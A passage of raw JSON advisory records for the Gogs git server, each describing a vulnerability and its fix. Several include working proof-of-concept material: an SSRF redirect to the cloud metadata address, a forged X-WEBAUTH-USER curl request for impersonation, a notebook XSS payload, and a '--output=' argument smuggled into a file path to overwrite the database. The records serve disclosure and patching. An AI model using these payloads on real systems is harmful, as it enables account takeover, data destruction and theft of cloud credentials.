msg\n\n![image](https://user-images.githubusercontent.com/38121125/285879545-bc360503-49b9-453f-aa24-9a5c5a45cf10.png)\n\nusing `#1` above\n\n### Impact\n\nDoS that cause part of pages of the specify repo unavailable.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-06-22T23:58:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L","references":["https://github.com/gogs/gogs/security/advisories/GHSA-4j89-2c4f-44c6","https://github.com/gogs/gogs/pull/8312","https://github.com/gogs/gogs/commit/0529d95fc39f2b6d2997b19a2a12e24522684722","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-52796","https://github.com/advisories/GHSA-4j89-2c4f-44c6"],"source_kind":"github","identifiers":["GHSA-4j89-2c4f-44c6","CVE-2026-52796"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-23T00:00:09.088Z","updated_at":"2026-09-03T07:01:34.260Z","epss_percentage":0.00284,"epss_percentile":0.20501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ajg5LTJjNGYtNDRjNs4ABZRm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00ajg5LTJjNGYtNDRjNs4ABZRm","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c= 0.14.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00ajg5LTJjNGYtNDRjNs4ABZRm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNHY3LXhnOTMtcWY4Z84ABZRX","url":"https://github.com/advisories/GHSA-c4v7-xg93-qf8g","title":"Gogs has SSRF in webhook deliveries","description":"### Summary\nThe fix for  CVE-2022-1285 prevents adding webooks or running webhooks with URLs with a hostname that resolves in localCIDRs. However, webhooks still follow redirects allowing to access hostname inside localCIDRs.\n\nThis was already communicated in the initial report but it looks like there was a bit of a miscommunication.\n\n### Details\n\nBy creating a webook pointing to any URL that will return the following:\n\n```\nHTTP/1.1 301 Moved Permanently\nLocation: http://169.254.169.254/metadata/v1.json\nContent-Length: 0\nConnection: close\n```\nIt is possible to access 169.254.169.254\n\n### PoC\n\n1. Run netcat on any server\n2. Use this server as the webhook URL\n3. Once you get the request from the webhook (for example by testing it), copy the response above\n\nResults from running this on try.gogs:\n\n```\n{\"droplet_id\":456901166,\"hostname\":\"gogs-do-nyc3-01\",\"vendor_data\":\"Content-Type: multipart/mixed; boundary=\\\"===============8645434374073493512==\\\"\\nMIME-Version: 1.0\\n\\n--===============8645434374073493512==\\nMIME-Version: 1.0\\nContent-Type: text/cloud-config; charset=\\\"us-ascii\\\"\\nContent-Transfer-Encoding: 7bit\\nContent-Disposition: attachment; filename=\\\"cloud-config\\\"\\n\\n#cloud-config\\n\\n# Enable root and password auth\\ndisable_roo...{\"dhcp_enabled\":false,\"vpc_peering_enabled\":false},\"dotty_status\":\"running\",\"ssh_info\":{\"port\":22}}\n```\n\n### Impact\nServer Side Request Forgery\n\n### Fix\n\nThe \"simplest way\" to fix it is most likely to leverage Client.CheckRedirect https://pkg.go.dev/net/http#hdr-Clients_and_Transports to check if the redirect is pointing to a blocked hostname","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T22:44:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","references":["https://github.com/gogs/gogs/security/advisories/GHSA-c4v7-xg93-qf8g","https://github.com/gogs/gogs/pull/8263","https://github.com/gogs/gogs/commit/199cf4fd5bbe40b92f6dc8d649e241fd7a8d0018","https://nvd.nist.gov/vuln/detail/CVE-2026-47267","https://github.com/advisories/GHSA-c4v7-xg93-qf8g"],"source_kind":"github","identifiers":["GHSA-c4v7-xg93-qf8g","CVE-2026-47267"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-22T23:00:08.221Z","updated_at":"2026-08-28T13:01:26.367Z","epss_percentage":0.0042,"epss_percentile":0.34722,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNHY3LXhnOTMtcWY4Z84ABZRX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNHY3LXhnOTMtcWY4Z84ABZRX","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c= 0.14.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNHY3LXhnOTMtcWY4Z84ABZRX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13Nmo5LXZ3NTktMjd3ds4ABZQN","url":"https://github.com/advisories/GHSA-w6j9-vw59-27wv","title":"Gogs has an Authentication Bypass via Unvalidated Reverse Proxy Headers","description":"## Summary\n\nWhen `ENABLE_REVERSE_PROXY_AUTHENTICATION` is enabled, Gogs accepts the configured authentication header (default: `X-WEBAUTH-USER`) directly from client requests without validating that the request originated from a trusted reverse proxy. Any remote attacker who can reach the Gogs service can forge this header to impersonate any user or trigger automatic account creation, completely bypassing authentication.\n\n## Root Cause\n\nThe vulnerability exists because Gogs reads the authentication header directly from the incoming HTTP request without any verification that the header was set by a trusted reverse proxy.\n\n### Vulnerable Code Flow\n\nIn `internal/context/auth.go` lines 206-234:\n\n```go\nfunc authenticatedUser(store AuthStore, ctx *macaron.Context, sess session.Store) (_ *database.User, isBasicAuth, isTokenAuth bool) {\n    // ... existing auth checks ...\n\n    if uid \u003c= 0 {\n        if conf.Auth.EnableReverseProxyAuthentication {\n            // Reads header DIRECTLY from client request - NO VALIDATION!\n            webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)\n            if len(webAuthUser) \u003e 0 {\n                user, err := store.GetUserByUsername(ctx.Req.Context(), webAuthUser)\n                if err != nil {\n                    if !database.IsErrUserNotExist(err) {\n                        log.Error(\"Failed to get user by name: %v\", err)\n                        return nil, false, false\n                    }\n\n                    // Check if enabled auto-registration.\n                    if conf.Auth.EnableReverseProxyAutoRegistration {\n                        // Creates new user with forged username!\n                        user, err = store.CreateUser(\n                            ctx.Req.Context(),\n                            webAuthUser,\n                            gouuid.NewV4().String()+\"@localhost\",\n                            database.CreateUserOptions{\n                                Activated: true,\n                            },\n                        )\n                        if err != nil {\n                            log.Error(\"Failed to create user %q: %v\", webAuthUser, err)\n                            return nil, false, false\n                        }\n                    }\n                }\n                // Returns user as authenticated without any verification!\n                return user, false, false\n            }\n        }\n        // ... fallback to basic auth ...\n    }\n    // ...\n}\n```\n\nThe code has **zero validation** that:\n1. The request came through a reverse proxy\n2. The header was set by the proxy (not the client)\n3. Gogs is actually behind a reverse proxy\n4. The direct access to Gogs is restricted\n\nThe vulnerability occurs when:\n- Gogs is publicly accessible (e.g., `0.0.0.0:3000`)\n- `ENABLE_REVERSE_PROXY_AUTHENTICATION = true`\n\n## Proof of Concept\n\n### Prerequisites\n\nGogs instance with the following configuration in `custom/conf/app.ini`:\n\n```ini\n[auth]\nENABLE_REVERSE_PROXY_AUTHENTICATION = true\n```\n\nAn attacker can impersonate any user including administrators:\n\n```bash\n# Become admin instantly\ncurl http://gogs.example.com/ -H \"X-WEBAUTH-USER: \u003cusername\u003e\"\n```\n\n\u003cimg width=\"1835\" height=\"1143\" alt=\"impersonation_example\" src=\"https://github.com/user-attachments/assets/bae60772-5eb3-4f54-9fe0-5db01595bd56\" /\u003e\n\n## Recommended Fixes\n\nAdd validation to ensure headers come from trusted sources:\n\n```go\nfunc authenticatedUser(store AuthStore, ctx *macaron.Context, sess session.Store) (_ *database.User, isBasicAuth, isTokenAuth bool) {\n    // ... existing code ...\n\n    if uid \u003c= 0 {\n        if conf.Auth.EnableReverseProxyAuthentication {\n            // Validate request is from trusted proxy\n            if !isRequestFromTrustedProxy(ctx.Req) {\n                log.Warn(\"Reverse proxy auth header received from untrusted source: %s\", ctx.RemoteAddr())\n                return nil, false, false\n            }\n\n            webAuthUser := ctx.Req.Header.Get(conf.Auth.ReverseProxyAuthenticationHeader)\n            // ... rest of the code ...\n        }\n    }\n    // ...\n}\n\n// New validation function\nfunc isRequestFromTrustedProxy(req *http.Request) bool {\n    // Check if request is from localhost/trusted IPs\n    remoteIP := getRemoteIP(req)\n\n    // Only accept from localhost by default\n    if remoteIP.IsLoopback() {\n        return true\n    }\n\n    // Check against configured trusted proxy IPs\n    for _, trustedIP := range conf.Auth.TrustedProxyIPs {\n        if remoteIP.String() == trustedIP {\n            return true\n        }\n    }\n\n    return false\n}\n```\n\nAdd configuration option:\n\n```ini\n[auth]\nENABLE_REVERSE_PROXY_AUTHENTICATION = false\nREVERSE_PROXY_AUTHENTICATION_HEADER = X-WEBAUTH-USER\n; Comma-separated list of trusted proxy IPs (default: 127.0.0.1)\nTRUSTED_PROXY_IPS = 127.0.0.1,::1\n; Whether to require trusted proxy validation (recommended: true)\nREQUIRE_TRUSTED_PROXY = true\n```\n\n## References\n\n- [CWE-290: Authentication Bypass by Spoofing](https://cwe.mitre.org/data/definitions/290.html)\n- [OWASP: Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP Top 10 2021 - A07: Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-22T17:09:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/gogs/gogs/security/advisories/GHSA-w6j9-vw59-27wv","https://github.com/gogs/gogs/pull/8264","https://github.com/gogs/gogs/commit/0089c4c8e5b8d99eb6e5c8727f8f40d765f1f58a","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2026-25119","https://github.com/advisories/GHSA-w6j9-vw59-27wv"],"source_kind":"github","identifiers":["GHSA-w6j9-vw59-27wv","CVE-2026-25119"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-22T18:00:08.330Z","updated_at":"2026-08-28T13:01:26.376Z","epss_percentage":0.00863,"epss_percentile":0.55844,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Nmo5LXZ3NTktMjd3ds4ABZQN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13Nmo5LXZ3NTktMjd3ds4ABZQN","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c= 0.14.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13Nmo5LXZ3NTktMjd3ds4ABZQN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zcXEzLTY2OG0tdjltas4ABZQL","url":"https://github.com/advisories/GHSA-3qq3-668m-v9mj","title":"Gogs has a Denial of Service in repository/wiki file listing web pages","description":"### Summary\nA malicious user with rights to create a new file on a repository or wiki page can trigger a denial of service condition in which the pages containing the listing of files will return HTTP error 500 and render the web interface unusable for the repository or wiki.\n\n### Details\nThe issue is present in file `internal/route/repo/wiki.go` and `internal/route/repo/view.go` where the pages try to recover commit information. If errors are returned while recovering commit information, the page will return a 500 error and stop rendering, resulting in a denial of service.\nIn `view.go` the issue occurs at [line 56](https://github.com/gogs/gogs/blob/89f0f86c7e1a3be7f48d99e27818a79d17357558/internal/route/repo/view.go#L56) while a slightly different issue occurs in `wiki.go` at [line 174](https://github.com/gogs/gogs/blob/89f0f86c7e1a3be7f48d99e27818a79d17357558/internal/route/repo/wiki.go#L174) where `commits[0]` is dereferenced without checking if it contains value.\nIt is possible to trigger issues in assigning the correct value to variable `commits` by using a specific string as part of the page title. \nThe issue is linked to the fact that file names can contain special characters such as `*`, `?`, `[`, `]`, etc. that will be interpreted as git's pathspec instead of a simple string. So crafting a name containing an incomplete pathspec sequence will trigger this error.\n\n### PoC\nAs a proof of concept consider the file name `\"[]` and how it affects repository and wiki pages.\nIn the following images it is shown how pages are created, the error shown in the web page right after creation and the error as logged in the console.\n\n\u003cimg width=\"835\" height=\"503\" alt=\"repo_creation\" src=\"https://github.com/user-attachments/assets/cdee9625-33d9-42d3-a5fa-264fba4923ed\" /\u003e\n\n**Figure 1: Creation of malicious file in repository**\n\n\u003cimg width=\"832\" height=\"692\" alt=\"repo_error_web\" src=\"https://github.com/user-attachments/assets/53c57366-8f45-4a0f-a2ac-86f4a08467cc\" /\u003e\n\n**Figure 2: Malicious file in repository causes error 500**\n\n\u003cimg width=\"934\" height=\"56\" alt=\"repo_error_console\" src=\"https://github.com/user-attachments/assets/26427fc3-bead-4e41-a484-e2d53289a2da\" /\u003e\n\n**Figure 3: Console error caused by malicious file in repository**\n\n\u003cimg width=\"835\" height=\"503\" alt=\"wiki_creation\" src=\"https://github.com/user-attachments/assets/7a5c9836-64e3-4824-b6e5-9f9a80e7f18a\" /\u003e\n\n**Figure 4: Creation of malicious file in wiki**\n\n\u003cimg width=\"1001\" height=\"463\" alt=\"wiki_error_web\" src=\"https://github.com/user-attachments/assets/33c5a907-b81c-4157-bd37-33341412172a\" /\u003e\n\n**Figure 5: Malicious file in wiki causes error 500**\n\n\u003cimg width=\"1018\" height=\"537\" alt=\"wiki_error_console\" src=\"https://github.com/user-attachments/assets/9b0ab551-5720-4715-a2ac-f7310534f025\" /\u003e\n\n**Figure 6: Console error caused by malicious file in wiki**\n\n### Impact\nThe repository and wiki pages will not render when files named with the payload are present in the repository or in the wiki.\nThis condition will be present as long as the malicious file is present in the repository or wiki. The issue will not cause a DoS condition when using the server via CLI.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-22T16:58:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.9,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-3qq3-668m-v9mj","https://github.com/gogs/gogs/pull/8116","https://github.com/gogs/gogs/commit/ae41bab5f28e4880edcef01c91d2cbb8839ec9e4","https://github.com/gogs/gogs/releases/tag/v0.14.3","https://nvd.nist.gov/vuln/detail/CVE-2025-64719","https://github.com/advisories/GHSA-3qq3-668m-v9mj"],"source_kind":"github","identifiers":["GHSA-3qq3-668m-v9mj","CVE-2025-64719"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-22T17:00:08.600Z","updated_at":"2026-08-28T13:01:26.377Z","epss_percentage":0.0044,"epss_percentile":0.3659,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcXEzLTY2OG0tdjltas4ABZQL","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zcXEzLTY2OG0tdjltas4ABZQL","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c= 0.14.2"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcXEzLTY2OG0tdjltas4ABZQL/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02dnh2LXdnNmotNXF3cM4ABZNE","url":"https://github.com/advisories/GHSA-6vxv-wg6j-5qwp","title":"Gogs: XSS in .ipynb files renderer due to outdated notebookjs","description":"### Summary\n\nGogs renders Jupyter notebook files (`.ipynb`) using [jsvine/notebookjs](https://github.com/jsvine/notebookjs), but the version is outdated, missing patches for known XSS vulnerabilities.\n\n### Details\n\nGogs uses version 0.4.2 of notebookjs to render Jupyter notebook files:\n\nhttps://github.com/gogs/gogs/blob/7297aee50d4c115836c7de8a3a233daaef87b911/templates/base/head.tmpl#L47\n\nThe latest version of [jsvine/notebookjs](https://github.com/jsvine/notebookjs) is 0.8.3, patching many XSS vulnerabilities in its releases. The proof of concept below shows an example working payload that renders HTML through Markdown.\n\n### PoC\n\n1. Create a new repository\n2. Create a file inside the repository named `xss.ipynb` and give it the following content:\n\n```json\n{\"cells\": [{\"cell_type\": \"markdown\", \"metadata\": {}, \"source\": [\"\u003cimg src=x onerror=\\\"alert(origin)\\\"\u003e\"]}], \"metadata\": {}, \"nbformat\": 4, \"nbformat_minor\": 2}\n```\n\n\u003cimg width=\"1054\" height=\"208\" alt=\"image\" src=\"https://github.com/user-attachments/assets/49b7f33c-c4df-4537-99e9-b1ea74f2c6de\" /\u003e\n\n3. Save the file and view the file in Gogs. Notice that the XSS popup triggers:\n\n\u003cimg width=\"1317\" height=\"407\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3b18d870-7194-41b0-92db-687e952abc07\" /\u003e\n\n### Impact\n\nAny user with rights to create repositories can create XSS payloads that take over the victim's account when visited. Either through their own exploration of the files or by directly linking them the vulnerable URL.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-19T21:42:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-6vxv-wg6j-5qwp","https://github.com/advisories/GHSA-6vxv-wg6j-5qwp"],"source_kind":"github","identifiers":["GHSA-6vxv-wg6j-5qwp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T22:00:09.234Z","updated_at":"2026-08-14T00:01:54.591Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dnh2LXdnNmotNXF3cM4ABZNE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dnh2LXdnNmotNXF3cM4ABZNE","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.3","vulnerable_version_range":"\u003c 0.14.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dnh2LXdnNmotNXF3cM4ABZNE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbTZ2LTJoNHctNHJwMs4ABY2g","url":"https://github.com/advisories/GHSA-pm6v-2h4w-4rp2","title":"Gogs: Overwriting critical files results in a denial of service","description":"**Vulnerability type:** Path Traversal\n**Impact:** DoS\n**Exploitation prerequisite:** authorized user\n**Description:** As an authorized user, an intruder can dictate the value which is passed to the `git diff` command which, together with bypassing the filtering of the passed value, allows the user to bypass the target directory and write the result of the comparison to any arbitrary path.\n**Researcher:** Artyom Kulakov (Positive Technologies)\n**Mitigation:**\n1. https://github.com/gogs/gogs/blob/b7372b1f32cd0bb40984debfb049e3fc04efaee4/internal/route/repo/editor.go#L307 — on this line, instead of the  `treePath` variable, which comes directly from the user unchanged, we should first filter and then pass the `entry` variable.\n2. To filter the `treePath` variable, it is better to use the preexisting `pathutil.Clean` function instead of `path.Clean` from the standard Go library.\n### Exploitation\nA Positive Technologies researcher discovered that the user has the ability to preview their changes when editing a file in the repository. The `POST /:user/:repo/_preview/:branch/:path_to_file` method is responsible for displaying the changes. The problem is how the `POST /:user/:repo/_preview/:branch/:path_to_file` method processes the value passed to the `:path_to_file` (see Listing 1).\n###### Listing 1. _preview method processor\n```Go\nfunc DiffPreviewPost(c *context.Context, f form.EditPreviewDiff) {\n\t// В treePath попадает значение из :path_to_file\n\ttreePath := c.Repo.TreePath\n\n    // Проверка, что файл существует в репозитории\n\tentry, err := c.Repo.Commit.TreeEntry(treePath)\n\n\t-cut-\n\n\t// Значение, полученное от пользователя, передается в функцию в обход фильтра\n\tdiff, err := c.Repo.Repository.GetDiffPreview(c.Repo.BranchName, treePath, f.Content)\n\n\t-cut-\n```\nThe first problem to solve is to make the `TreeEntry` function think that the value passed in is a file that actually exists in the repository. To do this, we must consider how the `TreeEntry` function actually makes this decision (see Listing 2).\n###### Listing 2. Path checking and cleaning function\n```Go\nfunc (t *Tree) TreeEntry(subpath string, opts ...LsTreeOptions) (*TreeEntry, error) {\n\t\n\t-cut-\n\t// Очистка пути от “.” И “/”\n\tsubpath = path.Clean(subpath)\n\t\n\t// Разбиение результата на компоненты для их последующей верификации в цикле\n\tpaths := strings.Split(subpath, \"/\")\n\t\n\t-cut-\n\t\n\tfor i, name := range paths {\n\t\t-cut-\n\t}\n```\nThus, we have a two-level path verification system. At the first stage, extra characters are removed, and at the second stage the resulting path is divided into components, each of which is then checked to be present in the repository. If the `TreeEntry` function receives a path that has the format of `../../../../../../etc/passwd`, it will be transformed into an `[.., .., .., .., .., .., etc, passwd]` array. The first element of this array will fail further validation and an error will be returned. This problem can be bypassed if the path is directly from the root directory and the corresponding directory hierarchy is present in the repository. A path in the format of `/etc/passwd`  will turn into an `[, etc, passwd]` array and successfully pass through the filter (see Figure 1).\n###### Figure 1. Example of filter bypass\n![image](https://user-images.githubusercontent.com/100608357/287145762-2a3b83d8-8322-4044-b536-668c5771102a.png)\nThe resulting value will be passed unchanged to the `GetDiffPreview` function, which will execute the `git diff /etc/passwd` command in the current repository (see Listing 3).\n###### Listing 3. Change comparison function\n```Go\nfunc (repo *Repository) GetDiffPreview(branch, treePath, content string) (diff *gitutil.Diff, err error) {\n\t-cut-\n\n\tcmd := exec.Command(\"git\", \"diff\", treePath)\n\tcmd.Dir = localPath\n\tcmd.Stderr = os.Stderr\n\n\t-cut-\n}\n```\nHowever, we will not get any results because such a command will exit early with an error stating that the `/etc/passwd` is outside the repository boundaries. Because of the specifics of the `exec.Command` function, there is no way to embed commands or insert spaces to separate the arguments. So, we get one controllable command parameter `diff`.\n\nThen a second task arises: to select a parameter which allows us to perform malicious actions. Such a parameter is `--output=\u003cfile\u003e`. This option allows the result of the comparison to be written over the passed path. The malicious command looks like this: `git diff —output=/data/gogs.db`. It overwrites the database file with garbage, which leads to denial of service. Instead of a database file, we could also overwrite a `app.ini` configuration file.\n\nThe final challenge is to bypass the filter in order to pass the payload. This is possible through the use of some peculiarities in the library function `path.Clean`. By entering a specific sequence of characters, the `path.Clean` function discards everything that came before this sequence and the sequence itself, leaving only the remains. This behavior is best demonstrated by the following table (see Table 1).\n###### Table 1. Results of the `path.Clean` function operation\n| Input data | Result |\n| ----------- | ----------- |\n| any ../../target    | target   |\n| any1/…/any2/../any3/../target    | target   |\n| ./target    | target   |\n| /../target    | /target   |\n| a/b/../../../../target    | ../../target   |\n\nSo, the payload that will bypass the filters and do as we wish, will look like this: `—output=/../data/gogs.db`.\n**Attack steps:**\n1. Create a data directory in the repository and an empty `gogs.db` file in that directory.\n2. Send a payload request and check that the code returned is a 200 OK (see Figure 2).\n###### Figure 2. Example of a successful attack\n![image](https://user-images.githubusercontent.com/100608357/287148063-21356d09-b847-4d46-9a03-86bfa71f306d.png)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T23:40:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H","references":["https://github.com/gogs/gogs/security/advisories/GHSA-pm6v-2h4w-4rp2","https://nvd.nist.gov/vuln/detail/CVE-2026-52797","https://github.com/advisories/GHSA-pm6v-2h4w-4rp2"],"source_kind":"github","identifiers":["GHSA-pm6v-2h4w-4rp2","CVE-2026-52797"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-17T00:00:09.018Z","updated_at":"2026-09-03T07:01:45.482Z","epss_percentage":0.0053,"epss_percentile":0.42523,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbTZ2LTJoNHctNHJwMs4ABY2g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbTZ2LTJoNHctNHJwMs4ABY2g","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":"0.14.0","vulnerable_version_range":"\u003c= 0.13.4"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbTZ2LTJoNHctNHJwMs4ABY2g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Z2ptLTJjcGYtNGc3Y84ABTPS","url":"https://github.com/advisories/GHSA-vgjm-2cpf-4g7c","title":"Gogs: DOM-based XSS via milestone selection","description":"# Summary\n\nIt was confirmed in a test environment that an attacker can store an HTML/JavaScript payload in a repository’s **Milestone name**, and when another user selects that Milestone on the **New Issue** page (`/issues/new`), a **DOM-Based XSS** is triggered.\n\n# Impact\n\n* Theft of information accessible in the victim’s session.\n* Extraction of CSRF tokens and submission of state-changing requests with the victim’s privileges.\n* Repository operations performed with the victim’s privileges (Issue operations, settings changes, etc.).\n\n(The impact scope depends on the victim’s permission level.)\n\n# Remediation\n\nA fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-05T20:16:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-vgjm-2cpf-4g7c","https://github.com/gogs/gogs/pull/8178","https://github.com/gogs/gogs/commit/9001a68cdda7bd9c078ffd6d1c4622905ac11e5c","https://github.com/gogs/gogs/releases/tag/v0.14.2","https://nvd.nist.gov/vuln/detail/CVE-2026-26276","https://github.com/advisories/GHSA-vgjm-2cpf-4g7c"],"source_kind":"github","identifiers":["GHSA-vgjm-2cpf-4g7c","CVE-2026-26276"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-05T21:00:07.970Z","updated_at":"2026-08-14T00:05:31.846Z","epss_percentage":0.00184,"epss_percentile":0.08052,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Z2ptLTJjcGYtNGc3Y84ABTPS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Z2ptLTJjcGYtNGc3Y84ABTPS","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.13.3"}],"purl":"pkg:go/gogs.io%2Fgogs"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Z2ptLTJjcGYtNGc3Y84ABTPS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14OXA1LXc0NWMtN2ZmY84ABTPR","url":"https://github.com/advisories/GHSA-x9p5-w45c-7ffc","title":"Gogs: Access tokens get exposed through URL params in API requests","description":"### Summary\n\nThe Gogs API still accepts tokens in URL parameters such as `token` and `access_token`, which can leak through logs, browser history, and referrers.\n\n### Details\n\nA static review shows that the API still checks tokens in the URL query before looking at headers:\n\n  - internal/context/auth.go reads `c.Query(\"token\")`\n  - internal/context/auth.go falls back to `c.Query(\"access_token\")`\n  - internal/context/auth.go only checks the `Authorization` header when the query token is empty\n  - internal/context/auth.go authenticates using that token and marks the request as token-authenticated\n\nToken-authenticated requests are accepted by API routes through `c.IsTokenAuth` checks:\n  - internal/route/api/v1/api.go\n\n### Impact\n\nIf tokens are sent in URLs such as `/api/v1/user?token=...`, they can leak in logs, browser or shell history, and referrer headers, and can be reused until revoked.\n\n### Recommended Fix\n\n- Authentication headers should be used exclusively for token transmission.\n- Token parameters should be blocked at the proxy or WAF level.\n- Query strings should be scrubbed from logs.\n- A strict referrer policy should be set.\n\n### Remediation\n\nA fix is available at https://github.com/gogs/gogs/releases/tag/v0.14.2.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-05T19:50:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/gogs/gogs/security/advisories/GHSA-x9p5-w45c-7ffc","https://github.com/gogs/gogs/pull/8177","https://github.com/gogs/gogs/commit/295bfba72993c372e7b338438947d8e1a6bed8fd","https://github.com/gogs/gogs/releases/tag/v0.14.2","https://nvd.nist.gov/vuln/detail/CVE-2026-26196","https://github.com/advisories/GHSA-x9p5-w45c-7ffc"],"source_kind":"github","identifiers":["GHSA-x9p5-w45c-7ffc","CVE-2026-26196"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-05T20:00:08.846Z","updated_at":"2026-08-14T00:05:31.846Z","epss_percentage":0.00254,"epss_percentile":0.16517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14OXA1LXc0NWMtN2ZmY84ABTPR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14OXA1LXc0NWMtN2ZmY84ABTPR","packages":[{"ecosystem":"go","package_name":"gogs.io/gogs","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 